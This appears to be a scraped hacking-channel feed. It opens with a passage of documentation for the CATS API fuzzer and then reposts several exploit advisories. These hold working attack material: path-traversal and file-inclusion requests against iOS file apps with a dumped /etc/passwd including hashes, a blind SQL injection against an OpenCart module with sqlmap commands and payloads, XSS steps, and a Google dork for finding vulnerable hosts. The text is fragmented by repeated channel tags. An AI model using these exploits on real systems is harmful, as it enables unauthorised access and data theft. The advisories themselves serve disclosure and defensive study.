parameters (including multiple combinations when dealing with oneOf/anyOf elements) and fuzz their values considering their defined data type and constraints. The actual fuzzing depends on the specific Fuzzerexecuted. Please see the list of fuzzers and their behaviour. There are also differences on how the fuzzing works depending on the HTTP method:

* for methods with request bodies like POST, PUT the fuzzing will be applied at the request body data models level
* for methods without request bodies like GET, DELETE the fuzzing will be applied at the URL parameters level

This means that for methods with request bodies (POST,PUT) that have also URL/path parameters, you need to supply the pathparameters via urlParamsor the referenceDatafile as failure to do so will result in Illegal character in path at index ...errors. Interpreting ResultsHTML_JSHTML_JSis the default report produced by CATS. The execution report in placed a folder called cats-report/TIMESTAMPor cats-reportdepending on the --timestampReportsargument. The folder will be created inside the current folder (if it doesn't exist) and for each run a new subfolder will be created with the TIMESTAMPvalue when the run started. This allows you to have a history of the runs. The report itself is in the index.htmlfile, where you can:

* filter test runs based on the result: All, Success, Warnand Error* filter based on the Fuzzerso that you can only see the runs for that specific Fuzzer* see summary with all the tests with their corresponding path against they were run, and the result
* have ability to click on any tests and get details about the Scenario being executed, Expected Result, Actual result as well as request/response details

Along with the summary from index.htmleach individual test will have a specific TestXXX.htmlpage with more details, as well as a json version of the test which can be latter replayed using > cats replay TestXXX.json.

Understanding the Result Reasonvalues:

* Unexpected Exception- reported as error; this might indicate a possible bug in the service or a corner case that is not handled correctly by CATS
* Not Matching Response Schema- reported as a warn; this indicates that the service returns an expected response code and a response body, but the response body does not match the schema defined in the contract
* Undocumented Response Code- reported as a warn; this indicates that the service returns an expected response code, but the response code is not documented in the contract
* Unexpected Response Code- reported as an error; this indicates a possible bug in the service - the response code is documented, but is not expected for this scenario
* Unexpected Behaviour- reported as an error; this indicates a possible bug in the service - the response code is neither documented nor expected for this scenario
* Not Found- reported as an errorin order to force providing more context; this indicates that CATS needs additional business context in order to run successfully - you can do this using the --refDataand/or --urlParamsarguments

This is the summary page: https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj8V1JLLrO0WH5Iy-7Wl7oIh_vcdj3qXDlsn9r3HocZTsi40vFwDCaP_xmWv7f1lSLqt39C6HXfOlKwSWDU9aD3QL2lvVDvsHsrFHdJwKOEz6sG_FQnxaqfiMrbFW0SDL0xkRDmahe_iOZ5cpsScdZacNPkFPY35UYZHb6A1gcFO2c08R_y3SEKKKU_bA/w640-h204/cats_9_index_html.png And this is what you get when you click on a specific test: https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgJ2mHAVVIpolGK4ACQh8stsDm[...]

___________________________
@hacking_Attack
@Hacking_Video

rank5SZSk6Id_tcqwaDD9ByUTFE2b5oSwteExtyhYU8ET_ap0QnjUocXboWR7a_F6pWTAb7CYszbJVnlY0Iqr5c9v7Ouuk1rhZotAUHwe9Cdcgu7CxWZKr3sSyUZNaRPhuAIz7Yo-oCsyLT2jauET0tmtZyWNLuHUVQ/w640-h336/cats_10_test_details_1.png https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjWZ-oyvhfRWkXq4yVHXTErQ7SF3vHVmbXBmUD67MLZihCDpuAtD9WTI95jjunxj4I4p0q06NlkU5btk3fT25dHtYlgLXmRKQmRiTZwIndM7-rTMOMiLAgTUdvVJbJhOGTt44yFiBIttPJurLzx_bO3YcGqvvzpQOZb2K3gu16EUflu1P6iErmwJFISoQ/w640-h276/cats_11_test_details_2.png HTML_ONLYThis format is similar with HTML_JS, but you cannot do any filtering or sorting. JUNITCATS also supports JUNIT output. The output will be a single testsuitethat will incorporate all tests grouped by Fuzzername. As the JUNIT format does not have the concept of warningthe following mapping is used:

* CATS erroris reported as JUNIT error* JUNIT failureis not used at all
* CATS warnis reported as JUNIT skipped* CATS skippedis reported as JUNIT disabledThe JUNIT report is written as junit.xmlin the cats-reportfolder. Individual tests, both as .htmland .jsonwill also be created. Slicing Strategies for Running CatsCATS has a significant number of Fuzzers. Currently, 89 and growing. Some of the Fuzzersare executing multiple tests for every given field within the request. For example the ControlCharsOnlyInFieldsFuzzerhas 63 control chars values that will be tried for each request field. If a request has 15 fields for example, this will result in 1020 tests. Considering that there are additional Fuzzerswith the same magnitude of tests being generated, you can easily get to 20k tests being executed on a typical run. This will result in huge reports and long run times (i.e. minutes, rather than seconds).

Below are some recommended strategies on how you can separate the tests in chunks which can be executed as stages in a deployment pipeline, one after the other. Split by EndpointsYou can use the --paths=PATHargument to run CATS sequentially for each path. Split by Fuzzer CategoryYou can use the --checkXXXarguments to run CATS only with specific Fuzzerslike: --checkHttp, -checkFields, etc. Split by Fuzzer TypeYou can use various arguments like --fuzzers=Fuzzer1,Fuzzer2or -skipFuzzers=Fuzzer1,Fuzzer2to either include or exclude specific Fuzzers. For example, you can run all Fuzzersexcept for the ControlCharsand Whitespacesones like this: --skipFuzzers=ControlChars,Whitesspaces. This will skip all Fuzzers containing these strings in their name. After, you can create an additional run only with these Fuzzers: --fuzzers=ControlChars,Whitespaces.

These are just some recommendations on how you can split the types of tests cases. Depending on how complex your API is, you might go with a combination of the above or with even more granular splits.

Please note that due to the fact that ControlChars, Emojis and Whitespacesgenerate huge number of tests even for small OpenAPI contracts, they are disabled by default. You can enable them using the --includeControlChars, --includeWhitespacesand/or --includeEmojisarguments. The recommendation is to run them in separate runs so that you get manageable reports and optimal running times. Ignoring Specific HTTP ResponsesBy default, CATS will report WARNsand ERRORsaccording to the specific behaviour of each Fuzzer. There are cases though when you might want to focus only on critical bugs. You can use the --ignoreResponseXXXarguments to supply a list of response codes, response sizes, word counts, line co[...]

___________________________
@hacking_Attack
@Hacking_Video

unts or response body regexes that should be ignored as issues (overriding the Fuzzer behaviour) and report those cases as success instead or WARNor ERROR. For example, if you want CATS to report ERRORsonly when there is an Exception or the service returns a 500, you can use this: --ignoreResultCodes="2xx,4xx". Ignoring Undocumented Response Code ChecksYou can also choose to ignore checks done by the Fuzzers. By default, each Fuzzer has an expected response code, based on the scenario under test and will report and WARNthe service returns the expected response code, but the response code is not documented inside the contract. You can make CATS ignore the undocumented response code checks (i.e. checking expected response code inside the contract) using the --ignoreResponseCodeUndocumentedCheckargument. CATS with now report these cases as SUCCESSinstead of WARN. Ignoring Response Body ChecksAdditionally, you can also choose to ignore the response body checks. By default, on top of checking the expected response code, each Fuzzer will check if the response body matches what is defined in the contract and will report an WARNif not matching. You can make CATS ignore the response body checks using the --ingoreResponseBodyCheckargument. CATS with now report these cases as SUCCESSinstead of WARN. Replaying TestsWhen CATS runs, for each test, it will export both an HTML file that will be linked in the final report and individual JSON files. The JSON files can be used to replay that test. When replaying a test (or a list of tests), CATS won't produce any report. The output will be solely available in the console. This is useful when you want to see the exact behaviour of the specific test or attach it in a bug report for example.

The syntax for replaying tests is the following: > cats replay "Test1,Test233,Test15.json,dir/Test19.json"Some notes on the above example:

* test names can be separated by comma ,* if you provide a json extension to a test name, that file will be search as a path i.e. it will search for Test15.jsonin the current folder and Test19.jsonin the dirfolder
* if you don't provide a json extension to a test name, it will search for that test in the cats-reportfolder i.e. cats-report/Test1.jsonand cats-report/Test233.jsonAvailable CommandsTo list all available commands, run: > cats -hAll available subcommands are listed below:

* > cats helpor cats -hwill list all available options

* > cats list --fuzzerswill list all the existing fuzzers, grouped on categories

* > cats list --fieldsFuzzingStrategywill list all the available fields fuzzing strategies

* > cats list --paths --contract=CONTRACTwill list all the paths available within the contract

* > cats replay "test1,test2"will replay the given tests test1and test2* > cats fuzzwill fuzz based on a given request template, rather than an OpenAPI contract

* > cats runwill run functional and targeted security tests written in the CATS YAML format

* > cats lintwill run OpenAPI contract linters, also called ContractInfoFuzzersAvailable arguments* --contract=LOCATION_OF_THE_CONTRACTsupplies the location of the OpenApi or Swagger contract.
* --server=URLsupplies the URL of the service implementing the contract.
* --basicauth=USR:PWDsupplies a username:passwordpair, in case the service uses basic auth.
* --fuzzers=LIST_OF_FUZZERSsupplies a comma separated list of fuzzers. The supplied list of Fuzzers can be partial names, not full Fuzzer names. CATS which check for al[...]

___________________________
@hacking_Attack
@Hacking_Video

l Fuzzers containing the supplied strings. If the argument is not supplied, all fuzzers will be run.
* --log=PACKAGE:LEVELcan configure custom log level for a given package. You can provide a comma separated list of packages and levels. This is helpful when you want to see full HTTP traffic: --log=org.apache.http.wire:debugor suppress CATS logging: --log=com.endava.cats:warn* --paths=PATH_LISTsupplies a comma separated list of OpenApi paths to be tested. If no path is supplied, all paths will be considered.
* --skipPaths=PATH_LISTa comma separated list of paths to ignore. If no path is supplied, no path will be ignored
* --fieldsFuzzingStrategy=STRATEGYspecifies which strategy will be used for field fuzzing. Available strategies are ONEBYONE, SIZEand POWERSET. More information on field fuzzing can be found in the sections below.
* --maxFieldsToRemove=NUMBERspecifies the maximum number of fields to be removed when using the SIZEfields fuzzing strategy.
* --refData=FILEspecifies the file containing static reference data which must be fixed in order to have valid business requests. This is a YAML file. It is explained further in the sections below.
* --headers=FILEspecifies a file containing headers that will be added when sending payloads to the endpoints. You can use this option to add oauth/JWT tokens for example.
* --edgeSpacesStrategy=STRATEGYspecifies how to expect the server to behave when sending trailing and prefix spaces within fields. Possible values are trimAndValidateand validateAndTrim.
* --sanitizationStrategy=STRATEGYspecifies how to expect the server to behave when sending Unicode Control Chars and Unicode Other Symbols within the fields. Possible values are sanitizeAndValidateand validateAndSanitize* --urlParamsA comma separated list of 'name:value' pairs of parameters to be replaced inside the URLs. This is useful when you have static parameters in URLs (like 'version' for example).
* --functionalFuzzerFilea file used by the FunctionalFuzzerthat will be used to create user-supplied payloads.
* --skipFuzzers=LIST_OF_FIZZERsa comma separated list of fuzzers that will be skipped for all paths. You can either provide full Fuzzernames (for example: --skippedFuzzers=VeryLargeStringsFuzzer) or partial Fuzzernames (for example: --skipFuzzers=VeryLarge). CATSwill check if the Fuzzernames contains the string you provide in the arguments value.
* --skipFields=field1,field2#subField1a comma separated list of fields that will be skipped by replacement Fuzzers like EmptyStringsInFields, NullValuesInFields, etc.
* --httpMethods=PUT,POST,etca comma separated list of HTTP methods that will be used to filter which http methods will be executed for each path within the contract
* --securityFuzzerFileA file used by the SecurityFuzzerthat will be used to inject special strings in order to exploit possible vulnerabilities
* --printExecutionStatisticsIf supplied (no value needed), prints a summary of execution times for each endpoint and HTTP method. By default this will print a summary for each endpoint: max, min and average. If you want detailed reports you must supply --printExecutionStatistics=detailed* --timestampReportsIf supplied (no value needed), it will output the report still inside the cats-reportfolder, but in a sub-folder with the current timestamp
* --reportFormat=FORMATSpecifies the format of the CATS report. Supported formats: HTML_ONLY, HTML_JSor JUNIT. You can use HTML_ONLYif you want the report to not contain any[...]

___________________________
@hacking_Attack
@Hacking_Video

Javascript. This is useful in CI environments due to Javascript content security policies. Default is HTML_JSwhich includes some sorting and filtering capabilities.
* --useExamplesIf true(default value when not supplied) then CATS will use examples supplied in the OpenAPI contact. If falseCATS will rely only on generated values
* --checkFieldsIf supplied (no value needed), it will only run the Field Fuzzers
* --checkHeadersIf supplied (no value needed), it will only run the Header Fuzzers
* --checkHttpIf supplied (no value needed), it will only run the HTTP Fuzzers
* --includeWhitespacesIf supplied (no value needed), it will include the Whitespaces Fuzzers
* --includeEmojisIf supplied (no value needed), it will include the Emojis Fuzzers
* --includeControlCharsIf supplied (no value needed), it will include the ControlChars Fuzzers
* --includeContractIf supplied (no value needed), it will include ContractInfoFuzzers* --sslKeystoreLocation of the JKS keystore holding certificates used when authenticating calls using one-way or two-way SSL
* --sslKeystorePwdThe password of the sslKeystore* --sslKeyPwdThe password of the private key from the sslKeystore* --proxyHostThe proxy server's host name (if running behind proxy)
* --proxyPortThe proxy server's port number (if running behind proxy)
* --maxRequestsPerMinuteMaximum number of requests per minute; this is useful when APIs have rate limiting implemented; default is 10000
* --connectionTimeoutTime period in seconds which CATS should establish a connection with the server; default is 10 seconds
* --writeTimeoutMaximum time of inactivity in seconds between two data packets when sending the request to the server; default is 10 seconds
* --readTimeoutMaximum time of inactivity in seconds between two data packets when waiting for the server's response; default is 10 seconds
* --dryRunIf provided, it will simulate a run of the service with the supplied configuration. The run won't produce a report, but will show how many tests will be generated and run for each OpenAPI endpoint
* --ignoreResponseCodesHTTP_CODES_LIST a comma separated list of HTTP response codes that will be considered as SUCCESS, even if the Fuzzer will typically report it as WARN or ERROR. You can use response code families as 2xx, 4xx, etc. If provided, all Contract Fuzzers will be skipped.
* --ignoreResponseSizeSIZE_LIST a comma separated list of response sizes that will be considered as SUCCESS, even if the Fuzzer will typically report it as WARN or ERROR
* --ignoreResponseWordsCOUNT_LIST a comma separated list of words count in the response that will be considered as SUCCESS, even if the Fuzzer will typically report it as WARN or ERROR
* --ignoreResponseLinesLINES_COUNT a comma separated list of lines count in the response that will be considered as SUCCESS, even if the Fuzzer will typically report it as WARN or ERROR
* --ignoreResponseRegexa REGEX that will match against the response that will be considered as SUCCESS, even if the Fuzzer will typically report it as WARN or ERROR
* --testsTESTS_LIST a comma separated list of executed tests in JSON format from the cats-report folder. If you supply the list without the .json extension CATS will search the test in the cats-report folder
* --ignoreResponseCodeUndocumentedCheckIf supplied (not value needed) it won't check if the response code received from the service matches the value expected by the fuzzer and will return the test result as SUCCESS instead of WARN
* --ignoreResponseBodyCheckIf supplied (not value needed) it won't check if the response body rec[...]

___________________________
@hacking_Attack
@Hacking_Video

KitPloit - PenTest Tools!
CATS - REST API Fuzzer And Negative Testing Tool For OpenAPI Endpoints

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
Genesys PureConnect Cross Site Scripting

https://3.bp.blogspot.com/-S_42fggy9lU/WWlvmFk_l6I/AAAAAAAAIRE/4fLLQglySPcuo1eoPxnOCfdodS4kW3PlwCLcBGAs/s1600/hack_img3.png
Genesys PureConnect as of their build on 08-October-2020 suffers from a cross site scripting vulnerability.

SHA-256 | 2232d00fcafe4584b543e46f696b904d45b43d8ecf53a41949a52a39eaffc149

Download
Product: Genesys PureConnect - Interaction Web Tools Chat Service
Description: Interaction Web Tools Chat Service allows XSS within the Printable Chat History via the participant -> name JSON POST parameter.
Vulnerability Type: XSS
Vendor of Product: Genesys PureConnect
Affected Product Code Base: Interaction Web Tools - Chat Service - Appears to be all versions up to current release
Affected Component: "Print" feature of the Interaction Web Tools Chat: https://help.genesys.com/pureconnect/mergedprojects/wh_tr/desktop/pdfs/web_tools_dg.pdf
Attack Vectors:

* To exploit the Cross-Site Scripting vulnerability, visit https://
* Then press 'Start Chat'
* Then enter anything in the chat box like 'asdfg' and press send
* Now select the 'Printable Chat History' in the top right corner
* XSS will trigger. You can google dork for vulnerable versions with inurl:"/I3Root/chatOrCallback.html"
I'm assuming if an admin tries to print the chat conversation, it will trigger for them as well. Unable to confirm though.

Discoverer: Jake Murphy - Echelon Risk + Cyber - https://echeloncyber.com/

> [References]
> http://genesys.com
> http://interaction.com


Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
WordPress GetYourGuide Ticketing 1.0.1 Cross Site Scripting

https://2.bp.blogspot.com/-x_QP5QrO-tY/WWlvkxoh72I/AAAAAAAAIQ4/t-2dHNJyeE0-qZNxsCg7sgdho_ipgPgbgCLcBGAs/s1600/h98.png
WordPress GetYourGuide Ticketing plugin version 1.0.1 suffers from a persistent cross site scripting vulnerability.

SHA-256 | dd8e52981b226511a35efc2482778941e5de97075699192860753ae706085694

Download
# *Exploit Title*: WordPress Plugin ‘GetYourGuide Ticketing’ - Stored
Cross-Site Scripting
# Date: 18-09-2022
# Exploit Author: Mariam Tariq - HunterSherlock
# Vendor Homepage:
https://wordpress.org/plugins/search/GetYourGuide+Ticketing/
# Version: 1.0.1
# Tested on: Firefox
# Contact me: mariamtariq404@gmail.com

# *Vulnerable code*:

``` ```

# *POC*:

1- Install the plugin ‘GetYourGuide Ticketing’ & activate it.
2- Navigate toward the GYG-Ticketing
3- Enter the XSS payload ` “>x `
4- Go to link builder to verify the XSS pop-up.

#* POC image*:

https://imgur.com/amrDhIt

Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
SoX 14.4.2 Division-By-Zero / Denial Of Service

https://1.bp.blogspot.com/-nibhxYxL_dU/WWlvdqzVqgI/AAAAAAAAIPo/_mHlQijSxHEwrD5GdeVybD20bu3Iyyg_QCLcBGAs/s1600/h8.png
SoX versions 14.4.2 and below suffer from a division by zero attack when handling WAV files, resulting in denial of service vulnerability and possibly loss of data.

SHA-256 | de24687825a9cff7e5ad1404c4b0d0dc865d45066f152f4d7a7a508384aca180

Download
Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
Owlfiles File Manager 12.0.1 Path Traversal / Local File Inclusion

https://3.bp.blogspot.com/-YTa6qox_ltk/WWlvNeWMUbI/AAAAAAAAIMc/0l9a_Kr-MFozVC5jeSwhLNgVZ9cZuXXlQCLcBGAs/s1600/h22.png Owlfiles File Manager version 12.0.1 suffers from local file inclusion and path traversal vulnerabilities.

SHA-256 | 5e1df728b64bebf1797218fca034b9eeed532e773c31131307d679d65b406b40Download # Exploit Title: Owlfiles File Manager 12.0.1 - multi vulnerabilities
# Date: Sep 19, 2022
# Exploit Author: Chokri Hammedi
# Vendor Homepage: https://www.skyjos.com/
# Software Link:
https://apps.apple.com/us/app/owlfiles-file-manager/id510282524
# Version: 12.0.1
# Tested on: Ios 16.0
###########
path traversal on HTTP built-in server
###########

GET /../../../../../../../../../../../../../../../System/ HTTP/1.1
Host: 192.168.8.101:8080
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 6_0 like Mac OS X)
AppleWebKit/536.26 (KHTML, like Gecko) Version/6.0 Mobile/10A5376e
Safari/8536.25
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
If-None-Match: 42638202/1663558201/177889085
If-Modified-Since: Mon, 19 Sep 2022 03:30:01 GMT
Connection: close
Content-Length: 0

-------
HTTP/1.1 200 OK
Cache-Control: max-age=3600, public
Content-Length: 317
Content-Type: text/html; charset=utf-8
Connection: Close
Server: GCDWebUploader
Date: Mon, 19 Sep 2022 05:01:11 GMT
* Cryptexes/

* DriverKit/

* Library/

* Applications/

* Developer/
#############
LFI on HTTP built-in server
#############

GET /../../../../../../../../../../../../../../../etc/hosts HTTP/1.1
Host: 192.168.8.101:8080
Accept: application/json, text/javascript, */*; q=0.01
User-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 6_0 like Mac OS X)
AppleWebKit/536.26 (KHTML, like Gecko) Version/6.0 Mobile/10A5376e
Safari/8536.25
X-Requested-With: XMLHttpRequest
Referer: http://192.168.8.101:8080/
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Connection: close
----

HTTP/1.1 200 OK
Connection: Close
Server: GCDWebUploader
Content-Type: application/octet-stream
Last-Modified: Sat, 03 Sep 2022 01:37:01 GMT
Date: Mon, 19 Sep 2022 03:28:14 GMT
Content-Length: 213
Cache-Control: max-age=3600, public
Etag: 1152921500312187994/1662169021/0

##
# Host Database
#
# localhost is used to configure the loopback interface
# when the system is booting. Do not change this entry.
##
127.0.0.1 localhost
255.255.255.255 broadcasthost
::1 localhost
###############
path traversal on FTP built-in server
###############

ftp> cd ../../../../../../../../../
250 OK. Current directory is /../../../../../../../../../
ftp> ls
200 PORT command successful.
150 Accepted data connection
total 10
drwxr-xr-x 0 root wheel 256 Jan 01 1970 usr
drwxr-xr-x 0 root wheel 128 Jan 01 1970 bin
drwxr-xr-x 0 root wheel 608 Jan 01 1970 sbin
drwxr-xr-x 0 root wheel 224 Jan 01 1970 System
drwxr-xr-x 0 root wheel 640 Jan 01 1970 Library
drwxr-xr-x 0 root wheel 224 Jan 01 1970 private
drwxr-xr-x 0 root wheel 1131 Jan 01 1970 dev
drwxr-xr-x 0 root admin 4512 Jan 01 1970 Applications
drwxr-xr-x 0 root admin 64 Jan 01 1970 Developer
drwxr-xr-x 0 root admin 64 Jan 01 1970 cores
WARNING! 10 bare linefeeds received in ASCII mode
File may not have transferred correctly.
226 Transfer complete.
ftp>

#############
XSS on HTTP built-in server
#############

poc 1:

http://192.168.8.101:8080/download?path=

poc 2:

http://192.168.8.101:8080/list?path= Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
PhotoSync 4.7 Local File Inclusion

https://4.bp.blogspot.com/-Lnl-ZxRP9Iw/WWlvEVwqA2I/AAAAAAAAIK8/WG2BCM3S_lsUOouuCwhP5sp3j7hYzeO-wCLcBGAs/s1600/h133.png PhotoSync version 4.7 suffers from a local file inclusion vulnerability.

SHA-256 | f5e6b3cd183e91afacf647b3547160e0d93026087e059f1843c8761cd5e32985Download # Exploit Title: PhotoSync 4.7 IOS APP Local file inclusion
# Date: Sep 19, 2022
# Exploit Author: Chokri Hammedi
# Vendor Homepage: https://www.photosync-app.com/home.html
# Software Link:
https://apps.apple.com/us/app/photosync-transfer-photos/id415850124
# Version: 4.7
# Tested on: iPhone IOS 16.0
GET /../../../../../../../../../../../../../../../etc/passwd HTTP/1.1
Host: 192.168.8.101:8080
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 6_0 like Mac OS X)
AppleWebKit/536.26 (KHTML, like Gecko) Version/6.0 Mobile/10A5376e
Safari/8536.25
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Connection: close
-------

HTTP/1.1 200 OK
Date: Mon, 19 Sep 2022 06:35:11 GMT
Accept-Ranges: bytes
Content-Length: 2791

##
# User Database
#
# This file is the authoritative user database.
##
nobody:*:-2:-2:Unprivileged User:/var/empty:/usr/bin/false
root:/smx7MYTQIi2M:0:0:System Administrator:/var/root:/bin/sh
mobile:/smx7MYTQIi2M:501:501:Mobile User:/var/mobile:/bin/sh
daemon:*:1:1:System Services:/var/root:/usr/bin/false
_ftp:*:98:-2:FTP Daemon:/var/empty:/usr/bin/false
_networkd:*:24:24:Network Services:/var/networkd:/usr/bin/false
_wireless:*:25:25:Wireless Services:/var/wireless:/usr/bin/false
_installd:*:33:33:Install Daemon:/var/installd:/usr/bin/false
_neagent:*:34:34:NEAgent:/var/empty:/usr/bin/false
_ifccd:*:35:35:ifccd:/var/empty:/usr/bin/false
_securityd:*:64:64:securityd:/var/empty:/usr/bin/false
_mdnsresponder:*:65:65:mDNSResponder:/var/empty:/usr/bin/false
_sshd:*:75:75:sshd Privilege separation:/var/empty:/usr/bin/false
_unknown:*:99:99:Unknown User:/var/empty:/usr/bin/false
_usbmuxd:*:213:213:iPhone OS Device Helper:/var/db/lockdown:/usr/bin/false
_distnote:*:241:241:Distributed Notifications:/var/empty:/usr/bin/false
_astris:*:245:245:Astris Services:/var/db/astris:/usr/bin/false
_ondemand:*:249:249:On Demand Resource
Daemon:/var/db/ondemand:/usr/bin/false
_findmydevice:*:254:254:Find My Device
Daemon:/var/db/findmydevice:/usr/bin/false
_datadetectors:*:257:257:DataDetectors:/var/db/datadetectors:/usr/bin/false
_captiveagent:*:258:258:captiveagent:/var/empty:/usr/bin/false
_analyticsd:*:263:263:Analytics Daemon:/var/db/analyticsd:/usr/bin/false
_timed:*:266:266:Time Sync Daemon:/var/db/timed:/usr/bin/false
_gpsd:*:267:267:GPS Daemon:/var/db/gpsd:/usr/bin/false
_reportmemoryexception:*:269:269:ReportMemoryException:/var/empty:/usr/bin/false
_driverkit:*:270:270:DriverKit:/var/empty:/usr/bin/false
_diskimagesiod:*:271:271:DiskImages IO
Daemon:/var/db/diskimagesiod:/usr/bin/false
_logd:*:272:272:Log Daemon:/var/db/diagnostics:/usr/bin/false
_iconservices:*:276:276:Icon services:/var/empty:/usr/bin/false
_rmd:*:277:277:Remote Management Daemon:/var/db/rmd:/usr/bin/false
_accessoryupdater:*:278:278:Accessory Update
Daemon:/var/db/accessoryupdater:/usr/bin/false
_knowledgegraphd:*:279:279:Knowledge Graph
Daemon:/var/db/knowledgegraphd:/usr/bin/false
_coreml:*:280:280:CoreML Services:/var/empty:/usr/bin/false
_sntpd:*:281:281:SNTP Server Daemon:/var/empty:/usr/bin/false
_trustd:*:282:282:trustd:/var/empty:/usr/bin/false
_mmaintenanced:*:283:283:mmaintenanced:/var/db/mmaintenanced:/usr/bin/false
_darwindaemon:*:284:284:Darwin Daemon:/var/db/darwindaemon:/usr/bin/false
_notification_proxy:*:285:285:Notification Proxy:/var/empty:/usr/bin/false
_backboardd:*:287:287:BackBoard:/var/empty:/usr/bin/false
_avphidbridge:*:288:288:Apple Virtual Platform HID
Bridge:/var/empty:/usr/bin/false
_launchservices:*:290:290:Launch Services:/var/empty:/usr/bin/false Source:packetstormsecurity.com

Exploit Collector
OpenCart 3.x Newsletter Custom Popup 4.0 SQL Injection

https://2.bp.blogspot.com/-y5QhCp_hFKM/WWlvahEOH0I/AAAAAAAAIPA/Q0VQ49Z0hVw4skegRDdSXm3Bk15Ptyg5wCLcBGAs/s1600/h70.png
OpenCart 3.x Newsletter Custom Popup module version 4.0 suffers from a remote blind SQL injection vulnerability.

SHA-256 | 4463bea9399b42e27cadceb696475f29a869f99cd0cfa6c5ded3a40898daf09c

Download
# Exploit Title: OpenCart v3.x So Newsletter Custom Popup Module - Blind SQL Injection
# Date: 18/09/2022
# Exploit Author: Saud Alenazi
# Vendor Homepage: https://www.opencart.com/
# Software Link: https://www.opencart.com/index.php?route=marketplace/extension/info&extension_id=40259&filter_search=newsletter&filter_license=1&sort=date_added
# Version: v.4.0
# Tested on: XAMPP, Linux
# Contact: https://twitter.com/dmaral3noz
* Description :

So Newsletter Custom Popup Module is compatible with any Opencart allows SQL Injection via parameter 'email' in index.php?route=extension/module/so_newletter_custom_popup/newsletter.
Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
* Steps to Reproduce :
- Go to : http://127.0.0.1/index.php?route=extension/module/so_newletter_custom_popup/newsletter
- Save request in BurpSuite
- Run saved request with : sqlmap -r sql.txt -p email --random-agent --level=5 --risk=3 --time-sec=5 --hex --dbs
Request :

===========

POST /index.php?route=extension/module/so_newletter_custom_popup/newsletter HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Cookie: OCSESSID=aaf920777d0aacdee96eb7eb50
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate
Content-Length: 29
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
Connection: Keep-alive

createdate=2022-8-28%2019:4:6&email=hi&status=0
===========

Output :

Parameter: #1* ((custom) POST)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: createdate=2022-8-28 19:4:6&email=hi' AND 4805=4805-- nSeP&status=0

Type: error-based
Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
Payload: createdate=2022-8-28 19:4:6&email=hi' AND (SELECT 4828 FROM(SELECT COUNT(*),CONCAT(0x7176627071,(SELECT (ELT(4828=4828,1))),0x7178786a71,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)-- sRQS&status=0

Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

THE BUG OFTEN IGNORED: BLIND XSS
https://faiyazhacks.medium.com/the-bug-often-ignored-blind-xss-1c93fac528ca?source=rss------bug_bounty-5

___________________________
@hacking_Attack
@Hacking_Video

INTRODUCTIONContinue reading on Medium » (https://faiyazhacks.medium.com/the-bug-often-ignored-blind-xss-1c93fac528ca?source=rss------bug_bounty-5)

___________________________
@hacking_Attack
@Hacking_Video